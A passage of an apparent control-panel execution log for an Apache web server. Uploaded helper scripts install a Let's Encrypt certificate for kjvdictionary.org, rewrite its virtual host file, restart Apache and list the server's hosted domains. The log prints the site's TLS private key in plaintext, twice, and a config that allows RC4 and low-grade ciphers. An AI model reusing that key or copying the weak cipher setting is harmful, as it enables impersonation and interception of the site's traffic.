A1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvODUuY3JsMIIB
BAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAGYbUxyiqb/66A294Kk0BkarOLXIxD67O
XXBBLSVMx9QAAAGapP+/cAAABAMARzBFAiB71G/S9ttepA0BKYQHJhp4QdfQQ33I
VGgjENnCg+x3LQIhAMCrY6VsCbekyOqpg/VbHJ+M/A70rST+tVSx0QJAgtK+AHYA
lpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGapP+/uAAABAMARzBF
AiARFgjTiqxiEnosIh71nNvxC1EXbGuBTGmi8wxjDsBZ+gIhAMwrRI8+IsqyCGI1
vrEpcNiVwTLpu/3TLCAQobPtXd8nMA0GCSqGSIb3DQEBCwUAA4IBAQAM8VKi0arz
XWC85xSL3GxJpdn9uSj5oNzijursl0VdhfEtB6Kj9rI0B0xd3+GpZ3RO8HTfMRy6
WxGajIn9lMwnW2gVFj30yfnoIbsgMNB16/39QgmLBi69kTRg8/Pfl9Sp9tR3u9Hz
P/Vei0qZsnL8s6+dMsZ/zj0oyH8iECfm/0DOmFa3po+zrWuJ63ZtTIGdxwYFP1q/
1XbwAe4ahak41xnLfmyZs3BlwhG6Qf7RgFpKg/gLUSbsQ6tqsWRF7rK1KXodOyRK
VCCuQ8VEA1cE/1Rk4j/jpDA64lsRTfd0Ii/tycnUry2OwHmjySKBLZzfdFrpBkRj
WWS9+51C8aYG
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDRFT5flXfTAGUq
n6ZczZcABlcfurw3EvCjVk4UfDAqo7ILzlz2vkzNUd7PJoAxZmYsIXi/uwh7RE8f
XEXUMDWkLHkFSbBlVVTuhzR9GbFaKsHGbYOfUUUVkaYb+4XgBEIyxmQF6yyISDhO
KKrPXS/iZiXJckZKSciJ4Xgh0tv5kXOuoeo2Fp9ZnkZ8mXvyD7O8R8enJvZxBt/i
w9gm3GC6BngxYZ5fuiQszGMxwmamPTvtykJuYiwzckYmLnlTHQHw7kc9oHIlzWyD
hmjcEc4RJ1caTNSocGAWBSQql+OsEyEZUWmSACLYqMZJS2bo3MBz48vz/08Qt5Yb
GGFSHEftAgMBAAECggEBAJlD8lIM9iZFbuN83m2/A0awXyNSNnBEwQNq25empYRM
NNL0ti7lttT3g9XkCiqsPo9xBdu+VexOWZXKhSGTKW8sbpZSuyy9DaJAmFhwAhLv
rtYvJ0IdSAAUoWh3y144oPIpfd7c0usfza51nyiczeIvMNnnm+EPDyMLlY1tzXS2
N7ha79ZUWGYKocWm2RFuB44e0U57CLd0C/gUisJ7w7l8UPoVIBN/jdi8xFguu1Lp
Dm0jzXASG9PckKFP6E75e9XbEbsWxHfvceLLnj8CjFU/QMoTE9/MwuVudRALeckA
pNg+2VBnwufUGtG/XpYyu7WOG5B649VTkumR55V1SyECgYEA+Nvw2LuLz3s659ac
QYeKfah/bvMxALoqLLRiO968FJ1LPkFqQTMlaDEuv2aBbBrGccwrAu4k4M2UD5rj
rFPVIQJgB+2SBXnIBJ+6NSvMm9GCk7jsVD9MznQCA+RfYWIjtA7b9PznW8otYZsd
GajHM+G5eVfdfrpgGlF2E+QXt8UCgYEA1xUd5EHZLbIh6XYubimT9h135UZPAg75
itjR1IQoTM8Ymv0EEn+khugalVT4b276ytgnJnTSgD5dGXG84aAi8Mcg5chzwkvh
M/m+hc/46bbd3GRVy93tLJ6UHp1HjZE6C7H8lx9JpWsMV+W+OZxZrvNidJf+mXyq
Bmz/2o4mqgkCgYAwXYaMiL6eX2POZQ5PSglnbJT/ujH+4y+JKrGg0yQYmY1jFxGQ
hGEzw8NDHafvm7CPs090rVXrfujUs5SmDFDyrmR9hfWILOfrxiNJbC7C5dAL57e+
k+LYiQFPQlYrNgicWPr0vSY117BENQJN11iHw8npRGNe2tgMpWJecUkOxQKBgBU2
v/wDgqg/KZkdTvcOosljnq++f4x0baiEOi372v24b3TZ/8zTSicEPZr9BoP3LkVT
jIj+fMSpYgVgcoDOiqO1AEmpu8EuOsglmeUY3jQvFTLnso6pFPuRqIpcePI9oLwG
kiNVsq3eIRmKT3jfMvlOiCd31mTNJvf7SEEGREoBAoGBAIeo20m+zcY8ZlhqYOrs
LW4WywJuihYQ+FwBUonaIw83UdYi0tltHelEq1YKS8f+RR234jIG8a4x5xIXBxd7
QdItOe/DaA5x1KcEgGfBjazmzkwXpn4KWvdkOMowRN4oWJNIK7Y2ew5Vd+80UqfH
96lgZOu1seYnmpz6P64+iIt+
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-21 06:00:16:
chmod 755 /tmp/pkp361604; /tmp/pkp361604; rm /tmp/pkp361604
2025-11-21 06:00:16:
dir=/etc/ssl/certs
2025-11-21 06:00:16:
PUT: /tmp/pkp192379
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/kjvdictionary_www_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-21 06:00:16:
chmod 755 /tmp/pkp192379; /tmp/pkp192379; rm /tmp/pkp192379
2025-11-21 06:00:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_www_org.conf 45
<VirtualHost *:80>
ServerName kjvdictionary.org
ServerAlias www.kjvdictionary.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/kjvdictionary_www
<Directory /var/www/kjvdictionary_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/www_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName kjvdictionary.org
ServerAlias www.kjvdictionary.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
DocumentRoot /var/www/kjvdictionary_www
<Directory /var/www/kjvdictionary_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/www_secure_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-21 06:00:16:
PUT: /tmp/pkp478355
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=kjvdictionary_www_org.conf
TARGET=/etc/apache2/sites-enabled/kjvdictionary_www_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName kjvdictionary.org
ServerAlias www.kjvdictionary.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/kjvdictionary_www
<Directory /var/www/kjvdictionary_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/www_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName kjvdictionary.org
ServerAlias www.kjvdictionary.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
DocumentRoot /var/www/kjvdictionary_www
<Directory /var/www/kjvdictionary_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/www_secure_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/kjvdictionary_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/kjvdictionary_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/kjvdictionary_www_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/kjvdictionary_www_org.conf= 1'
fi
2025-11-21 06:00:16:
chmod 755 /tmp/pkp478355; /tmp/pkp478355; rm /tmp/pkp478355
2025-11-21 06:00:16:
2025-11-21 06:00:16:
PUT: /tmp/pkp468252
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-21 06:00:16:
chmod 755 /tmp/pkp468252; /tmp/pkp468252; rm /tmp/pkp468252
2025-11-21 06:00:16:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-21 06:00:16: Establishing a connection
2025-11-21 06:00:16:
PUT: /tmp/pkp982973
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-21 06:00:16:
chmod 755 /tmp/pkp982973; /tmp/pkp982973; rm /tmp/pkp982973
2025-11-21 06:00:16:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-21 06:00:16:
PUT: /tmp/pkp879992
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/kjvdictionary_www_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-21 06:00:16:
chmod 755 /tmp/pkp879992; /tmp/pkp879992; rm /tmp/pkp879992
2025-11-21 06:00:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_www_org.conf 1458
<VirtualHost *:80>
ServerName kjvdictionary.org
ServerAlias www.kjvdictionary.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/kjvdictionary_www
<Directory /var/www/kjvdictionary_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/www_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName kjvdictionary.org
ServerAlias www.kjvdictionary.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
DocumentRoot /var/www/kjvdictionary_www
<Directory /var/www/kjvdictionary_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/www_secure_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-21 06:00:17:
PUT: /tmp/pkp440360
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-21 06:00:17:
chmod 755 /tmp/pkp440360; /tmp/pkp440360; rm /tmp/pkp440360
2025-11-21 06:00:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt 5382
d7:59:cc:d7:ba:f0:53:c1:ab:4a:f5:73:6c:26:9b:e4
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBhupW4GcJUOs+Cv+5h2cKblUMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTIxMDUwMTQ1WhcNMjYwMjE5MDUwMTQ0WjAcMRowGAYDVQQD
ExFranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBANEVPl+Vd9MAZSqfplzNlwAGVx+6vDcS8KNWThR8MCqjsgvOXPa+TM1R3s8m
gDFmZiwheL+7CHtETx9cRdQwNaQseQVJsGVVVO6HNH0ZsVoqwcZtg59RRRWRphv7
heAEQjLGZAXrLIhIOE4oqs9dL+JmJclyRkpJyInheCHS2/mRc66h6jYWn1meRnyZ
e/IPs7xHx6cm9nEG3+LD2CbcYLoGeDFhnl+6JCzMYzHCZqY9O+3KQm5iLDNyRiYu
eVMdAfDuRz2gciXNbIOGaNwRzhEnVxpM1KhwYBYFJCqX46wTIRlRaZIAItioxklL
ZujcwHPjy/P/TxC3lhsYYVIcR+0CAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU37vSDfV5nUOsTuNjy5gJ5YJz+qowHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFranZkaWN0aW9uYXJ5Lm9y
Z4IVd3d3LmtqdmRpY3Rpb25hcnkub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4G
A1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvODUuY3JsMIIB
BAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAGYbUxyiqb/66A294Kk0BkarOLXIxD67O
XXBBLSVMx9QAAAGapP+/cAAABAMARzBFAiB71G/S9ttepA0BKYQHJhp4QdfQQ33I
VGgjENnCg+x3LQIhAMCrY6VsCbekyOqpg/VbHJ+M/A70rST+tVSx0QJAgtK+AHYA
lpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGapP+/uAAABAMARzBF
AiARFgjTiqxiEnosIh71nNvxC1EXbGuBTGmi8wxjDsBZ+gIhAMwrRI8+IsqyCGI1
vrEpcNiVwTLpu/3TLCAQobPtXd8nMA0GCSqGSIb3DQEBCwUAA4IBAQAM8VKi0arz
XWC85xSL3GxJpdn9uSj5oNzijursl0VdhfEtB6Kj9rI0B0xd3+GpZ3RO8HTfMRy6
WxGajIn9lMwnW2gVFj30yfnoIbsgMNB16/39QgmLBi69kTRg8/Pfl9Sp9tR3u9Hz
P/Vei0qZsnL8s6+dMsZ/zj0oyH8iECfm/0DOmFa3po+zrWuJ63ZtTIGdxwYFP1q/
1XbwAe4ahak41xnLfmyZs3BlwhG6Qf7RgFpKg/gLUSbsQ6tqsWRF7rK1KXodOyRK
VCCuQ8VEA1cE/1Rk4j/jpDA64lsRTfd0Ii/tycnUry2OwHmjySKBLZzfdFrpBkRj
WWS9+51C8aYG
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDRFT5flXfTAGUq
n6ZczZcABlcfurw3EvCjVk4UfDAqo7ILzlz2vkzNUd7PJoAxZmYsIXi/uwh7RE8f
XEXUMDWkLHkFSbBlVVTuhzR9GbFaKsHGbYOfUUUVkaYb+4XgBEIyxmQF6yyISDhO
KKrPXS/iZiXJckZKSciJ4Xgh0tv5kXOuoeo2Fp9ZnkZ8mXvyD7O8R8enJvZxBt/i
w9gm3GC6BngxYZ5fuiQszGMxwmamPTvtykJuYiwzckYmLnlTHQHw7kc9oHIlzWyD
hmjcEc4RJ1caTNSocGAWBSQql+OsEyEZUWmSACLYqMZJS2bo3MBz48vz/08Qt5Yb
GGFSHEftAgMBAAECggEBAJlD8lIM9iZFbuN83m2/A0awXyNSNnBEwQNq25empYRM
NNL0ti7lttT3g9XkCiqsPo9xBdu+VexOWZXKhSGTKW8sbpZSuyy9DaJAmFhwAhLv
rtYvJ0IdSAAUoWh3y144oPIpfd7c0usfza51nyiczeIvMNnnm+EPDyMLlY1tzXS2
N7ha79ZUWGYKocWm2RFuB44e0U57CLd0C/gUisJ7w7l8UPoVIBN/jdi8xFguu1Lp
Dm0jzXASG9PckKFP6E75e9XbEbsWxHfvceLLnj8CjFU/QMoTE9/MwuVudRALeckA
pNg+2VBnwufUGtG/XpYyu7WOG5B649VTkumR55V1SyECgYEA+Nvw2LuLz3s659ac
QYeKfah/bvMxALoqLLRiO968FJ1LPkFqQTMlaDEuv2aBbBrGccwrAu4k4M2UD5rj
rFPVIQJgB+2SBXnIBJ+6NSvMm9GCk7jsVD9MznQCA+RfYWIjtA7b9PznW8otYZsd
GajHM+G5eVfdfrpgGlF2E+QXt8UCgYEA1xUd5EHZLbIh6XYubimT9h135UZPAg75
itjR1IQoTM8Ymv0EEn+khugalVT4b276ytgnJnTSgD5dGXG84aAi8Mcg5chzwkvh
M/m+hc/46bbd3GRVy93tLJ6UHp1HjZE6C7H8lx9JpWsMV+W+OZxZrvNidJf+mXyq
Bmz/2o4mqgkCgYAwXYaMiL6eX2POZQ5PSglnbJT/ujH+4y+JKrGg0yQYmY1jFxGQ
hGEzw8NDHafvm7CPs090rVXrfujUs5SmDFDyrmR9hfWILOfrxiNJbC7C5dAL57e+
k+LYiQFPQlYrNgicWPr0vSY117BENQJN11iHw8npRGNe2tgMpWJecUkOxQKBgBU2
v/wDgqg/KZkdTvcOosljnq++f4x0baiEOi372v24b3TZ/8zTSicEPZr9BoP3LkVT
jIj+fMSpYgVgcoDOiqO1AEmpu8EuOsglmeUY3jQvFTLnso6pFPuRqIpcePI9oLwG
